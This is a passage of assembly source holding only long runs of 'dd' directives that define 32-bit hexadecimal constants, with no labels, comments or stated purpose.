4F1E5605h, 15D419EAh, 9A09C95Eh, 8C9F6E37h, 0DE2A12E4h dd 0D92F855Ch, 696B8135h, 2AE2338Bh, 4E921F60h, 0B6C5354Dh dd 27FC1694h, 7CE06BC9h, 6E9C3Dh, 6846D5B9h, 0CD3C896Fh dd 0DCA0059h, 0E9010E61h, 0E2051D5Dh, 291A0278h, 7802DC8h dd 0E9240C8Bh, 4A691631h, 3BC115B8h, 0BBEF8h, 314B6317h dd 0F7C2E9C6h, 2212D0BDh, 0F2ED04C1h, 4A330686h, 0D06316Ch dd 5C88F18Bh, 66189889h, 0A3EC816Fh, 0CB2CF31Bh, 0C2E2A252h dd 0EA2D24B7h, 73F3E920h, 348B0AC6h, 41E32052h, 0C0D6F600h dd 0E68006EEh, 0C6E6D0h, 8BF120F5h, 0C4832414h, 0B1E9042Ch dd 93989422h, 6EC1F3Fh, 0FFF189B9h, 815E1452h, 310F38C4h dd 0F3E759CEh, 146C56E9h, 51D26818h, 0D1241CB3h, 0F3006248h dd 5BDF015Eh, 244C781h, 893C5133h, 5C060CCEh, 336EE928h dd 0A75DE828h, 4523190Fh, 94D6C414h, 25D5F707h, 0A40F80DDh dd 0E600B2C9h, 15DEB89h, 52875BDAh, 0C10EB014h, 0CD460AE9h dd 0D3DE3C29h, 0D8E17C8Ah, 0E651580Fh, 0F7AD631Ch, 5055E158h dd 0EEE958BDh, 9C0AD153h, 5C8B4B67h, 2A652E50h, 815B5C1Ch dd 5BD8A890h, 22CCA45Dh, 66EC7CD5h, 0CCB60F0Eh, 0F6456A68h dd 0D8E56D6Eh, 0B8504101h, 4C43900Ch, 1BED0C55h, 0C110D547h dd 0E68105EEh, 22260385h, 0DEF74E6Ah, 0BAE51202h, 0C101670Bh dd 0B680875Ch, 0ADEB805Ch, 0BC50B551h, 96535284h, 685F0693h dd 207D1B56h, 26B08C2Ch, 4F2ECA00h, 5AD32916h, 0A7680050h dd 5866A872h, 9724E940h, 0F7946A1Eh, 189C3D87h, 0FE146443h dd 6513EEC2h, 705B4DBh, 6AC08375h, 3968044Dh, 0FE298D07h dd 0B58B43h, 3377BAEDh, 4A1867F2h, 5A14F752h, 0DFCA3F81h dd 2C36E19Fh, 0F8517F2h, 0F3A6486Bh, 2709A04Ch, 202C8AE9h dd 7BA1C2A2h, 0BD264937h, 6E507356h, 20598165h, 96073609h dd 0CF89870Ch, 0E9FB0190h, 22AAEF11h, 5458F038h, 0F68DA03h dd 43C049FEh, 0BA018A59h, 94857h, 4006E0C1h, 3E7FBD2Dh dd 907AF012h, 93CAA425h, 81E90617h, 0C028958Ah, 66619BD8h dd 5F54572Fh, 594CAB21h, 38EC20E9h, 21F52148h, 0A862834h dd 4A12680Bh, 0E3696EADh, 101D831h, 0E30EB83h, 68104057h dd 0E85021EFh, 494C4159h, 0F1C9096Eh, 0C86187F2h, 43F906BFh dd 0EDC1122Ch, 8AD31F03h, 83B7494Bh, 5868CDF5h, 0DAFC561Ah dd 0D97A13C8h, 2C945219h, 0C44C854h, 0CF754843h, 870623E4h dd 0F75C3201h, 0F4B7E9D0h, 95C3609Dh, 51249A26h, 70043BE7h dd 0C18963CEh, 0CB5650FCh, 244045A9h, 801FDACDh, 5DE4A5C2h dd 82B21431h, 935346B4h, 6E3C892Bh, 2903E0B9h, 5950E9CDh dd 0F60002E8h, 0D17EDB21h, 0C2ACF789h, 0E9F90109h, 0BF86255Bh dd 0CFC1BB34h, 0F7226856h, 0F0379A48h, 97E9B43Dh, 9A33422Eh dd 3D0F4E64h, 0ED6BDD1Ah, 20128B4Ch, 0F4714058h, 53BD2C29h dd 17E20119h, 0F301063Ch dd 30081C41h, 0D012890h, 414934AFh, 13CF12E9h, 5258C797h dd 1F7208CFh, 0CCD6806h, 86A1208Fh, 0C5805B02h, 0B8EB284Eh dd 834706DFh, 462A1CDBh, 8090B69Ch, 0F237C078h, 51D3BAE0h dd 2D0A00D7h, 353B6323h, 550D001h, 53485A07h, 1D137B55h dd 45144F9Eh, 5AD6C0ADh, 0C58F1AE9h, 81F38010h, 305BDE26h dd 0BFFC6170h, 88B50658h, 31C41304h, 3509AAEh, 0F2CEE04Eh dd 6472648h, 52AA029Eh, 0C660400Fh, 0AC0911BDh, 0D8F768h dd 38920D36h, 8E2660E8h, 0CB31BC16h, 8283297Dh, 0EB14092Eh dd 5D91EDECh, 892C2C90h, 19368D13h, 0EC180924h, 4BC92617h dd 0F7D738E7h, 0E2E9125Eh, 311B427Bh, 51695AD7h, 22AE5487h dd 3A8E5FC6h, 899122F6h, 2400EF89h, 9269E952h, 0A4BF5780h dd 62051C8Eh, 0A775274h, 0A072D53h, 49F43C8Bh, 583FD013h dd 58F4FCFFh, 1AE78F4Dh, 600A0966h, 0C0D65E04h, 0EE295F94h dd 22A22C8Bh, 36E89543h, 1501114h, 0C60081DDh, 751B088Dh dd 0C099ACE9h, 0D7F75F90h, 68159297h, 4D8C446Dh, 7F3510C4h dd 0FD00582Dh, 0D9118EEAh, 89510C1Eh, 595F5CB9h, 0F0218580h dd 139274C9h, 6B890352h, 81E0803Ch, 7A13A8E1h, 1508234Fh dd 0E5002A38h, 0F26A9A41h, 0A889D294h, 258A8134h, 0CEFE66D0h dd 41BB7799h, 77FF03FEh, 0A59087A6h, 1E326720h, 0D5BD901h dd 0EE1095FEh, 630B986h, 14876648h, 922CE689h, 3D947E0Ch dd 0FCC8C1FAh, 20261E38h, 164C96F9h, 0CA747E7Ch, 246A3D4Dh dd 0E348895Ch, 0E49F6BEh, 8CC73B42h, 0EA34A963h, 36E44139h dd 2AFE4C95h, 0C40C208h, 0BA6540B7h, 0DB12CD0Fh, 14175F5Dh dd 1D8C1F5Dh, 0A06C5F2Ah, 120EBB95h, 5F012EB0h, 0C44141Ch dd 35095E89h, 0EFB0D0BBh, 0FF13556Eh, 9E408947h, 2DD36857h dd 195DF596h, 5B40DF40h, 0BE082C8Fh, 287D0237h, 43CCC601h dd 32A84E5Ch, 53AD3293h, 2FDF31C6h, 46BD026Ch, 51AA81C2h dd 59227C22h, 11948B77h, 11B01244h, 812BA658h, 113255FAh dd 0E248388h, 5E592D6Ah, 53E3A641h, 59696800h, 0A7E929ABh dd 3877360Ch, 1130AA68h, 60C84386h, 555E8983h, 6BE30080h dd 0BD061FBBh, 0E0449421h, 7B6709A2h, 62807F70h, 95F3F66h dd 1CFD0134h, 14B60810h, 845416h, 0FF2F7135h, 4C5297Bh dd 0EE015F58h, 25B825Dh, 0B9809810h, 31BB924Ah, 26BE768h dd 28216430h, 0DE6D764Fh, 0D4344BB8h, 0C056F224h, 0F3629223h dd 6BBE2501h, 0E97B872Bh, 0C02FCADAh, 0B345E5Dh, 0D10156EBh dd 0CC364A84h, 0C909B822h, 876205Dh, 0D747F1BCh, 0A133C97Fh dd 1C770940h, 0D266CEE4h, 89BA4712h, 0D021E2FAh, 68C8E54Bh dd 5DD42282h, 15DF4848h, 1DAA2E9h, 2E9BC381h, 8C601F32h dd 0EA80805Bh, 0D7D0CD39h, 0F99C68D1h, 43139B19h, 0D2288ED8h dd 5829CC0Ch, 9C2A23B8h, 34B13C2Ah, 26A0E986h, 8BFA1D5h dd 7F2C59E5h, 4F002C4Ch, 0D125D606h, 0A4EBF7EEh, 9C002304h dd 0E907355Ah, 2E856FF3h, 496DDC40h, 0F1008164h, 2F3A3F8Dh dd 0CC02E9C1h, 25180506h, 60092706h, 2610D1F7h, 17DF586Dh dd 4C990621h, 2C988D83h, 2F31CF0Ah, 7A07E146h, 0E921F044h dd 0B251540Fh, 633059CAh, 0DCC73E86h, 0FF49AA48h, 0B4C6809h dd 1661201Ah, 0FF66003Dh, 0C047F030h, 80E7B611h, 0C0072AEEh dd 0C6FE06E6h, 78D01FF4h, 487607BAh, 0E7101846h, 0E8C10BE3h dd 64EF0C03h, 24179C3h, 0E95502EAh, 0E5A04F95h, 6E1DDF6h dd 0E629A026h, 790BE961h, 435189A6h, 5869D2DEh, 0C15C652h dd 121E1BCEh, 251EF20Ch, 29CC4B8Eh, 985A4119h, 22027FCFh dd 0AFB08FEBh, 0C50C1109h, 0D8E98589h, 0EA7188D7h, 0B1424A5Dh dd 0E5022994h, 754C5767h, 0E37FAB0Ch, 44EACC39h, 4CE0EF54h dd 1037C348h, 5E3461D5h, 89D74678h, 0B62032E1h, 0BA875084h dd 2BF7B15Ch, 9B5A65Ch, 60E65A54h, 51505500h, 383F4768h dd 0EB29625h, 314F0A14h, 830258ABh, 5C046ED9h, 54413E2h dd 316ECD33h, 0B866DA06h, 0D9DFE912h, 8C0793D5h, 1AF94E68h dd 5376C087h, 218B050h, 79C27ADCh, 0EF4988E9h, 44A62387h dd 58585494h, 0B07B26FDh, 3637CC2h, 0C890F988h, 0EAA15B59h dd 0DE91128h, 45381038h, 0BD555080h, 76E754F9h, 3F09B590h dd 37E031h, 1B6C181Eh, 0A1F5F22Dh, 2F206B5h, 0F4C1E82Ch dd 2CA60B7h, 0F880FBF1h, 0A016B551h, 6412EDD0h, 79D75484h dd 0C461498Fh, 7BAC4E2h, 0C3830427h, 83080C7h, 0B69513h dd 0A347442Dh, 0E9D82936h, 64B3926Eh, 0FC8059CBh, 7E0E094Bh dd 84522553h, 0AEC0581Ah, 4D773D99h, 0DBC20124h, 0C80AA000h dd 25F38754h, 90ABEE81h, 80E95501h, 0D4995369h, 7C78C4BAh dd 9E24D29Bh, 0DD26CE2Ch, 0FC009E0h, 0D1FF3484h, 0C7BF8451h dd 42138732h, 19EA2961h, 1E4DB664h, 66AC0307h, 0A3143B68h dd 0A6A59D89h, 346C42h, 805BDA28h, 6CF8BF2h, 2D12950h dd 1156D7Dh, 33765468h, 0FFF27E2Eh, 40009CFEh, 4ADAF75Ah dd 0E4D4F281h, 52E41FFAh, 0DF310B5Bh, 2F86DD83h, 37E694Ch dd 459EA30h, 0FAD0C394h, 5DDEAF26h, 8CC1A992h, 14615753h dd 0CAD4EB2Ch, 6CDE148h, 0E8AC600Bh, 0B4879440h, 613788A1h dd 0E721AD17h, 3102732Bh, 24330941h, 4141F260h, 5AAC9024h dd 0C903185h, 8D084813h, 0A2298340h, 0A2E68098h, 285AA669h dd 0E684D521h, 50ED4CC1h, 50019710h, 0F9A0438h, 4987A1h dd 1D70F580h, 8F59EE30h, 77C53DC3h, 9556D963h, 4F4060D8h dd 3D9B635h, 0A2940615h, 3C0FA3A8h, 0E7E029E8h, 7C1A285Ah dd 0A9DFF728h, 87A5678h, 0BC085FB8h, 615104Eh, 543F60E9h dd 3C965F93h, 6651C9CBh, 0E4508812h, 22F681FBh, 51131133h dd 87858C5Eh, 0C7E9F10Ch, 0A8572470h, 8078BF1Ch, 51785259h dd 20032A2Fh, 7A470A5Ch, 0FABA012Eh, 0E9D185B8h, 9D25DAh dd 58662F9Fh, 0E3DD7E1h, 53EB13B4h, 398FAE83h, 1A33E976h dd 30B15A30h, 408654Dh, 0BF7673DBh, 83B54A0h, 0CC753A90h dd 21E3B107h, 0F5905FFDh, 79800194h, 17E84B20h, 0E96728DEh dd 4900A55Bh, 66D830ACh, 98B13B51h, 62CAC826h, 112C1692h dd 243E4572h, 64607DE3h, 0C159CE11h, 2D037BEEh, 81A68E16h dd 0CA1BEE02h, 0ACFEE328h, 0A0391195h, 95260615h, 95D95532h dd 95063044h, 2B8CF10h, 22C5E281h, 74606976h, 0F905C74Eh dd 6413E9E4h, 91B934D8h, 44A2494h, 0A519589Dh, 0A5EA3154h dd 628E9A4Eh, 0E7EC0A26h, 3941F63h, 884DEDA5h, 39DA8C40h dd 0D131D3E8h, 13C1D4A0h, 0BB8E83Fh, 0C559CF01h, 8A59269Fh dd 10402966h, 4A4094A9h, 3B664A30h, 9B24CBC8h, 9F329C2h dd 1A561608h, 0ED407E09h, 9C0255A2h, 5BD93138h, 2C3EE041h dd 4EC10E2Eh, 0F5E4C801h, 0F9D81D4Ah, 313D1AB0h, 0EE0C77F2h dd 84F22110h, 677DA636h, 0D35FEA88h, 0CECF5F48h, 0A6E5EDE3h dd 11538073h, 200BFC3Fh, 21878AE9h, 7E5C1A5h, 0D617F260h dd 0CCF0112h, 7650C831h, 930D6106h, 8528BAE9h, 0CD3660Ah dd 4D1C918Dh, 3F2478F6h, 0D0683E6Eh, 0D74C01C3h, 211C57Bh dd 5CD685Eh, 0BD040B66h, 317F7E4Bh, 50C087C4h, 79E621C1h dd 0E9C50922h, 2F27EF49h, 6B1823EBh, 51D4F0CCh, 465AA5C9h dd 136A9E0Bh, 5E152256h, 0FCB4B1E4h, 50596052h, 0FD60DBDDh dd 0A648D4C1h, 4F42041Ch, 45E464Eh, 0AC0EAF68h, 0F931F065h dd 95C3CC0h, 14E2D1C2h dd 0C4E38953h, 0EB21A353h, 93351C97h, 126DCBB0h, 578D74h dd 50DE099h, 0E22CC15Ch, 0CE029007h, 0C0476C5Fh, 28E6B31Eh dd 50927CA0h, 0DBA6124h, 55AB7DD7h, 0DD69E042h, 9501DF2Ch dd 442A720Bh, 6EC2F05Dh, 0A2EF1018h, 0BEFD5FE6h, 58651EB1h dd 6C94BCC0h, 50652CB0h, 0A56800AFh, 5F6BEF5Dh, 67E94717h dd 0ED803C80h, 0CB06CECAh, 0C50EE50Fh, 0E92D7BB0h, 57A60793h dd 0C40E9662h, 679820DCh, 74B4D384h, 68C9BA29h, 9E5DE5C4h dd 0F2C16229h, 510287F1h, 715DDA68h, 0AD8F49CCh, 58285030h dd 5D2E2179h, 4024F1C1h, 222231A0h, 183A924Eh, 64CD95E9h dd 0E2C583B5h, 46C7881Eh, 52D3616Eh, 442073B2h, 0C21A9E40h dd 16FB3DC9h, 4EF6A820h, 7415A124h, 6002451Ah, 0BB13D0Eh dd 0EB01EA5Eh, 6816EC46h, 10353AFDh, 2A5072B3h, 0B390480h dd 84F30131h, 0E9080238h, 84963A2Dh, 495D4Ch, 383533EFh dd 0C2EBF381h, 5BDD010Dh, 3C52B864h, 0F45F2C36h, 3E083824h dd 7281322h, 538604A5h, 5BA32CF8h, 0CEE3C29Ah, 3BE941DFh dd 3C56247h, 34CE03D6h, 0B8367C31h, 84574A29h, 0DF50F23Fh dd 0DA219044h, 5FF9F280h, 0BEC17F83h, 0EC2D8154h, 656D2028h dd 68D7743Eh, 173C7620h, 351862E9h, 0D4360482h, 31AD0230h dd 55EDC1D8h, 75A4247Ch, 0DF2A8247h, 0EF010040h, 0DD0A1C98h dd 0D449290Bh, 208B5094h, 629F9831h, 5B1412DFh, 0D9B38709h dd 45F81285h, 0FA840F06h, 681650F3h, 89611526h, 0B802529Dh dd 68563F80h, 4B041ED9h, 1705E97Ah, 53240FA2h, 4302499Ch dd 8903EE9Bh, 2A3CB9FAh, 0B0FED590h, 965EF021h, 99F5A00Eh dd 998194C4h, 8B28247Eh, 7DFB086Ch, 38EE023Eh, 632D7451h dd 8CC6C2AFh, 7B641C08h, 5A093433h, 64768D0Eh, 3B59166Bh dd 0C6464E96h, 47749AAh, 9E68384Ah, 56ED8C20h, 7FFA9690h dd 0BE142200h, 253C283Ah, 3980B431h, 0E945EB87h, 0B5F66006h dd 3E128578h, 8C1FF189h, 925B1E3Ah, 0E0FA0E8h, 0A92AC960h dd 0C495804Eh, 1862C134h, 7442EFE9h, 0C9BCFE29h, 9AF48B6Bh dd 0D24444FAh, 6041B19Fh, 8AB051C9h, 13CA9220h, 89504268h dd 1E10DBDEh, 5A00E16Fh, 0DB3BF57h, 0C1121369h, 280104E7h dd 124886E3h, 564012Ah, 41092125h, 37352792h, 675A132Ah dd 0E0354F37h, 1E5ECF0h, 0F746DB13h, 64B5E9DEh, 0FC9E0197h dd 9FCFC614h, 2D67189Fh, 846CA4F1h, 2B283A3h, 0E9188296h dd 0D2209EBh, 7A2C00ACh, 47073576h, 5022E32h, 0ABF7F84Ah dd 81B16001h, 142C13CDh, 0E3B60616h, 0E04BB913h, 86E85C8Ch dd 0E9B69A88h, 0FFC68007h, 0E653CEFEh, 7081CABDh, 138CB4A1h dd 0DC631424h, 76A5CC9h, 165E346Ah, 0D7720D6Dh, 0A7288196h dd 0D3EB3C07h, 2682BCCh, 1159E31h, 0B8C053C1h, 0A6076329h dd 58C38952h, 0EA09BBh, 8C34CAC3h, 0D9012CEFh, 8058C462h dd 1D0AED38h, 0D2F7631Fh, 7A83EA17h, 4AA02D0h, 66F82C06h dd 0F4B524C1h, 0A69679DEh, 7180EA52h, 215C71E7h, 654A558Dh dd 6E20806Ch, 225C5547h, 0F3033C2Fh, 3127970Fh, 79CAE041h dd 0B8655C0Dh, 4AA2E23h, 8F02BB0Ah, 9F66BC7h, 0F50E7E58h dd 0C5FD71EBh, 0E5A039E9h, 4FAC9828h, 4F5D5293h, 914951CBh dd 0DD2D52C0h, 486A2A58h, 45A1692Ch, 1932882h, 0E4D02F5h dd 33490D68h, 42B90E0Ch, 2964623Dh, 9E3276CFh, 0E49827F3h dd 989D5F7Dh, 937A680Ch, 0CF163CCCh, 5A8F2C10h, 0C02F2C93h dd 0B7A43DEh, 0FE890F37h, 5EF28403h, 8B88DA9Ah, 93FA200Eh dd 2D7BA6B1h, 7CBCD191h, 4AC647EBh, 3A02B262h, 814C5E09h dd 0B7D0E92Ah, 0BE929C85h, 3CD0E30h, 0E9660BCFh, 6A4C70A9h dd 27F6E125h, 9103D6A6h, 8AADD999h, 0C9DE4F29h, 0B1D9471Fh dd 10BEE4EFh, 0A392C1B8h, 0DE680C8Dh, 0BA292771h, 0A0C6BBF9h dd 8C083032h, 0FC9EFD3h, 29211113h, 8103AC4h, 10ABB7B1h dd 0B444E9D7h, 0A84C2549h, 0CA09379Ch, 0C2481BDCh, 3F02D02Fh dd 8999DD28h, 0F8F1C36Dh, 0ED62BB3h, 0C384111Ch, 0FD86D0F7h dd 5D59401Ah, 0A37F8897h, 1580D734h, 4E1651C7h, 0D77193B5h dd 337984D1h, 92B4A37h, 0A56F5C26h, 3C108445h, 0ECE4E982h dd 6583F4CAh, 1392CA88h, 5945DF51h, 0C7450BC1h, 2544B904h dd 4AE9E1A2h, 0C76F70F8h, 6217EA8Bh, 0A68602B6h, 0C04C22C9h dd 0C2800F10h, 41DB7F06h, 2EB1C02Dh, 42453530h, 86F7240Eh dd 0A10A106Fh, 8357DC07h, 0E7011524h, 362D7709h, 97054A30h dd 0DA83D039h, 9448D754h, 4202E984h, 68505200h, 0C2825407h dd 0F945F81Bh, 3AE4D9h, 0D8F7401Ah, 56000805h, 0BF3539E3h dd 9881387Fh, 4598DDh, 706137C9h, 0E9D1F72Ah, 243EA34Dh dd 0D009A6B2h, 32648266h, 2009533Ah, 3E1A0AD2h, 1DDE070Fh dd 756C8284h, 0AC74E6E9h, 64CFF724h, 32ECDDDAh, 935F55CFh dd 2975B271h, 37247E5Ch, 286E1324h, 850F0230h, 29E9F091h dd 0E046C201h, 0F352F489h, 0FA33DE4Eh, 9B7D50DFh, 7A2604B3h dd 0C4F72910h, 0E9080345h, 36026AA6h, 934B32BBh, 83B4E021h dd 60F60629h, 216DE2E9h, 21798063h, 5B7D05D9h, 0D85E5456h dd 684C5116h, 7E6DC508h, 284B2EB7h, 0D14A68FFh, 5CEBD444h dd 3A8C8016h, 0EE25489Ah, 0F9C4E089h, 0D25822E9h, 7644044Ah dd 0B5BD33EBh, 6925B405h, 9013F06Ah, 22F6F01h, 0C15DE889h dd 33C5B5CFh, 0E94046F5h, 1DCC0540h, 4650B973h, 8C9F32AAh dd 4C2A1E20h, 0F56F2E5Eh, 0D53BD666h, 6EB6EF05h, 7BB0F357h dd 0C523F339h, 90E26073h, 746043BEh, 0BAF78118h, 527EE90Dh dd 2D938D1Ah, 197460DCh, 86F614ACh, 0A1CDD74Eh, 0D1866D2Dh dd 53761EFCh, 94C40B4Fh, 51411FCAh, 0AE00747h, 27E9257Ch dd 7CE88C9h, 0E9C12C9Bh, 278114DCh, 320C7BC7h, 82EAB977h dd 3140C818h, 62A259FBh, 0A009E3F3h, 0FE7EB464h, 0BED3F8C4h dd 3F92C4Ch, 5AF4884Ah, 0C090E4B0h, 0FE0304E6h, 0B75352CCh dd 76FAFA71h, 0D0480049h, 23ECE9E5h, 55422B96h, 85CD6054h dd 0E30BAA3Eh, 4246D970h, 0D9220B55h, 24697E3Fh, 2CC852B9h dd 0AC800E39h, 4AF4702Ch, 13D08AD8h, 6B2079E9h, 484238F5h dd 0C810A56Ah, 0B0500012h, 341F0473h, 0C3283F8Ah, 20724913h dd 835A6F00h, 51E6A48h, 6B8D3504h, 4BE9A304h, 0CA68BDB1h dd 0D9EF83A1h, 925E6C87h, 425421C2h, 9FD830D2h, 665F8039h dd 7FC23129h, 54019D3Ch, 0F508FBE6h, 7F801DF9h, 0EA5843C1h dd 5CD0E9EFh, 29C5A0C0h, 5931148Eh, 1C984BFAh, 0B3246F52h dd 0E7079472h, 0C1673B0Bh, 9FD15E5Ch, 46C7750Bh, 90B86889h dd 80199209h, 4969CE87h, 36380206h, 0BCAFE02h, 3E685EF1h dd 9791561Fh, 0D15F6762h, 54EA9612h, 22D90C5h, 0D3219E40h dd 0EBC15A09h, 77F38705h, 310A2900h, 135B5EDAh, 124A54F1h dd 84EBD426h, 0E3695C68h, 0C38FC503h, 0DD9E1AE3h, 2A34A00Ch dd 73ECA97Eh, 0F70CA92Fh, 989D3C5Ah, 8203DDC7h, 3129AE00h dd 68024F59h, 20521009h, 94C9785Dh, 91052726h, 0A095B802h dd 0B5F9F65Ch, 78B39990h, 0E6014B5h, 714B4719h, 0DB3DE9C7h dd 5BFE90A0h, 41FEEC0h, 3C52D6F6h, 18B7A284h, 5CF8284Bh dd 0C08AC7D6h, 0B2E99606h, 0A6A72C4Bh, 0C1E2E509h, 0AD70D95Dh dd 1C5C133Bh, 2E510144h, 22139B4Bh, 34957C23h, 27199E69h dd 0E9182C44h, 0F2271047h, 6F640420h, 0F6D6013Fh, 25554858h dd 0B5E9E877h, 18EA001Ah dd 15E54FBAh, 0F21501E7h, 803D348Bh, 56230FEEh, 0A08E9E7Eh dd 690FBC08h, 0E68E87C8h, 0A279A0B7h, 95522D13h, 9063DF25h dd 703B0578h, 29587209h, 80308C8h, 595FF881h, 43FEC201h dd 35A2D4D1h, 0C2C44B78h, 76E088EDh, 0D482FB5Bh, 97352E4Eh dd 68C702C1h, 1E901775h, 4082430Ah, 12669B04h, 0C1D3B353h dd 0A5CB2EEDh, 0CB4D1C4Ah, 8BA8878Ah, 0FFB8400Dh, 1F00C946h dd 0E34BA52h, 4AE93CEDh, 0F72943E1h, 27F20831h, 0E5260376h dd 0B60D3587h, 0EC2998A8h, 7594D701h, 0DC385051h, 0ECD6E092h dd 0F35D0661h, 15CC3513h, 7FE1B843h, 8420E8Ah, 1AA5DF89h dd 0C09AC9DCh, 0F87B382Ah, 2804F924h, 0D385151h, 219B68C2h dd 5927A446h, 940CE15Bh, 7549B028h, 0E548BDA5h, 0CF3112D5h dd 0AE39DE9h, 4A9F68E7h, 79368D7h, 50F64DABh, 0E9DDF745h dd 20136A2Fh, 0EF8867C8h, 0FD202E59h, 1CAB089Bh, 45632D07h dd 0AD502927h, 0EC591118h, 70551D0h, 0E91181D6h, 0F58983B8h dd 4CD3060Eh, 8F184B28h, 0E7C8A57Eh, 0FE1D03E9h, 7EFC149h dd 2EA71238h, 0F701EFD7h, 7E802EA0h, 0D183B741h, 0F9010A94h dd 1CCD0549h, 4D36F0DDh, 0A1E9190Bh, 0AA52E4E6h, 0C292302Fh dd 0A9408284h, 0A499585Dh, 27506884h, 85C734A8h, 0B84EE011h dd 2B0B4BE5h, 0C6E83101h, 0C32925BAh, 584D9EC6h, 9F2AA633h dd 0B9007414h, 4FA25A60h, 1659CB01h, 0E214A3E9h, 51458EFh dd 50748732h, 2917BEE8h, 0E980C85Ch, 5916A22Ch, 86CF8887h dd 78D9F623h, 5BF92C08h, 86D13C39h, 98059D4h, 9E961F1h dd 8CBEEEA0h, 124C2A11h, 0D88344Ch, 5E0B11FDh, 3CCA20E9h dd 0E0C17884h, 2DFA5C12h, 0F0CC061h, 9C64AF84h, 5785B68h dd 16E954CEh, 549234B3h, 53164E99h, 0E9D18C17h, 0B256644Fh dd 61FF7A06h, 20DDB00Fh, 35072142h, 2A024AAFh, 0F858C5C2h dd 84D638Bh, 28F2ED81h, 0EE01887Ch, 14FC7FFEh, 50760C84h dd 4B50817Eh, 0A1933846h, 0B804DC1Bh, 347B84EEh, 5F7C0105h dd 382060B6h, 27557618h, 24926E82h, 2EE60541h, 0D6844327h dd 0A05D87F0h, 3E1C11E2h, 0E2274E97h, 0C131CA04h, 4815572Bh dd 3A402B97h, 28B414B1h, 41CD8CFh, 0F813F0h, 0E3C006AEh dd 0F3288005h, 0A9D9A1Bh, 0A308D8C0h, 0F82253h, 0C0DDB050h dd 0FA0C05E8h, 92E46690h, 14D23424h, 0AA20B220h, 89315F1Ah dd 4C73EC40h, 7C1FBCBh, 0AB53B639h, 0F2EBB729h, 0B680B711h dd 73887820h, 75EC89B8h, 0A2107F26h, 9030402h, 96AAD663h dd 0B65FC11Ch, 0CFBADC0Eh, 5F390CB2h, 94BF8E57h, 0D7F7E743h dd 0C0EF81A1h, 0FE314028h, 0BFE6D108h, 9DB8ACD3h, 2096E905h dd 2D000EB9h, 843C840h, 585EC601h, 427CF800h, 5B21FEF8h dd 53A99F3h, 0B88BB0F7h, 643B7E00h, 76A7BE36h, 0ABCFA18Ah dd 0BF979CEh, 6332E745h, 26A6CC1h, 0B7946030h, 0EF800E09h dd 0CB7F2878h, 0AF512490h, 2F7B2983h, 5C24EF7Ch, 6840E416h dd 36200526h, 81750EC1h, 16EE2096h, 0F683800Eh, 0C558FED5h dd 30141FB2h, 6C59D1B2h, 2C53482Eh, 0A7502D34h, 0C61C6400h dd 84A59DB1h, 0BE4E5BC8h, 16785081h, 5C0287F2h, 5B717230h dd 0B2DD905Bh, 0E424E91Ah, 0C4B32222h, 5C060533h, 8BB0F66h dd 30891A34h, 6F0C5E8h, 657EB80h, 0C2012F41h, 81040717h dd 2E2AF22Ch, 3FDDAE31h, 3D25802h, 0E9B430F4h, 10127BBh dd 8C4FB50h, 971AF920h, 225FBCBBh, 5C0018DAh, 35685652h dd 19010E58h, 0D1E6815Eh, 87C83736h, 125690FEh, 496C71E9h dd 8200DB43h, 3CE612D4h, 0D80B1DB8h, 0F8873B5Dh, 40ACB0C7h dd 0E19EBED9h, 2DF0BEBEh, 5B2284AEh, 345486A2h, 76EDBAF2h dd 0B665F5Dh, 0F2F2F6EDh, 1EBD7035h, 806A481h, 32059469h dd 0B836103Ch, 8ED2814h, 0D9E92Dh, 0FCEE80D5h, 5AF51988h dd 5D81852h, 0F1402D83h, 3970392Ch, 0A3CD1453h, 0BF019609h dd 2979472Eh, 431D1h, 1C055A08h, 75C75C3Ch, 4C606F09h dd 2F53D04Dh, 37E441CCh, 569D505Eh, 85277628h, 0E5B28F40h dd 93C787C0h, 0A13B792Ch, 12BD1B3h, 7B3EE3A3h, 55DFE867h dd 1C230C8h, 4B09FCBDh, 44FD7163h, 15D6F1B3h, 0A3980A3h dd 6725BC30h, 321E0047h, 5C1147Ah, 776808E7h, 2B92CD16h dd 69E93202h, 0D0EDA02Fh, 0A1A8635h, 0C7210832h, 92C0DB8h dd 0D8512135h, 35015EF0h, 71B36FCDh, 0B13C9BE9h, 8939C24Bh dd 0EDEC7F4Ah, 667D919Fh, 920E8248h, 5155017Bh, 0BA786368h dd 0F1F42001h, 767E4D12h, 0F47FABADh, 6189760h, 6B960C4Ah dd 16ACE452h, 213F7168h, 81037F34h, 2111C32Fh, 380902A6h dd 75E00E2h, 0C6814142h, 5FB7F52h, 0E9F329DCh, 3CFA9633h dd 2D529697h, 0E04023E9h, 48955456h, 8125ECC9h, 76B705Dh dd 1F3B686Eh, 0E63C118Bh, 7D1928B7h, 0E930410Dh, 89BF898Ah dd 2DE85324h, 619D6EE8h, 12FB598h, 816E465Ch, 92C65B0Ch dd 767D855Ah, 8E1B4D0h, 24BE7056h, 7AD14Eh, 625C71EEh dd 0B83B5046h, 73F69686h, 4FE93803h, 0EA7B0032h, 112B2E4Dh dd 2AC1F201h, 16425379h, 2CE90212h, 0E31874B2h, 0D242CCB4h dd 8AE6483Ch, 0FADB82BBh, 9EDF5969h, 0FC10E58Fh, 0D6BA068h dd 6B5E7924h, 2565904h, 74B1685Eh, 91B86757h, 3177AC0Bh dd 511D7A66h, 0D38F435Bh, 680B013Eh, 55752987h, 9606FF5Bh dd 4E455A67h, 338F00AEh, 0DD8911F1h, 76B84D5Bh, 60465209h dd 94418078h, 2672A15Fh, 0C66EF89h, 0D19D380Bh, 0C1805A04h dd 8F8C668Bh, 0CFFE7A02h, 5F71018h, 88C83053h, 6680837Ah dd 8B63E52h, 131EF0A8h, 0CC7AC268h, 7AB22CE5h, 79EC585Dh dd 0E3C05A4Bh, 1E7F2D48h, 0D63D3053h, 183C127h, 0D35428CEh dd 0AE314889h, 0E64AB568h, 0F9C860Eh, 5AC5777Fh, 83DA0D2Eh dd 88D52824h, 256E2F34h, 19CE4527h, 851D2C04h, 4FF6E991h dd 0E29393E3h, 568B8EBCh, 3F8BA9A3h, 68526B40h, 0A4028C04h dd 80805A03h, 6966AF38h, 6E06DAEDh, 0EF359E3Fh, 15A3405Eh dd 0B262EC2Fh, 8FF6654Ch, 0D489ACB5h, 14269D06h, 0FC045E3Ch dd 2919586Bh, 0F1BD2EB5h, 0B0545212h, 7D0899A7h, 1743173Ah dd 414C01D2h, 605FFB29h, 822468B4h, 0D0C06249h, 1D11993Ah dd 9C25460Dh, 7061C721h, 404870DBh, 7849F5E9h, 0BD878D0Ch dd 5820DDCDh, 0E30A13C5h, 9FBD1518h, 306A4803h, 0EFFA5F5Ch dd 0BE5D0780h, 41005061h, 65B95116h, 